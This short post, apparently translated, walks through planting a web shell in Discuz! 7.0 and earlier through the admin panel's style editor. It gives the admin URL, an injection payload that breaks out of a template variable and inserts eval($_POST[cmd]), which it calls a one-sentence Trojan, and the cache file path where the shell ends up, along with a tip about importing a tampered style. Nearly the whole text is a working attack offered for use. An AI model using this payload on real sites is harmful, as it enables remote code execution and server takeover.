Discuz! 7.0 and earlier versions use webshell in the background (no founder is required)

You can use this method (change the Forum address to your own) to log on to the background with an administrator account. You do not need to create a forum founder. The administrator level is as follows:
Http://www.aaaa.com/bbs/admincp.php? Action = styles & Operation = edit & id = 1 & adv = 1
In the left-side Navigation Pane, there is a "Custom template variable". Fill in the variable:

Oldjun ',' #999 '); EVAL ($ _ post [cmd]); // enter 1111 as the replacement content, and then submit it. A Trojan is generated in one sentence:
Http://www.aaaaa.com/bbs/forumdata/cache/style_1.php

If the ID of the style you modified is 2, the shell is style_2.php.

This style template can be imported and exported, so with the dzshell of ring04h, you can directly use the imported style to obtain the shell.
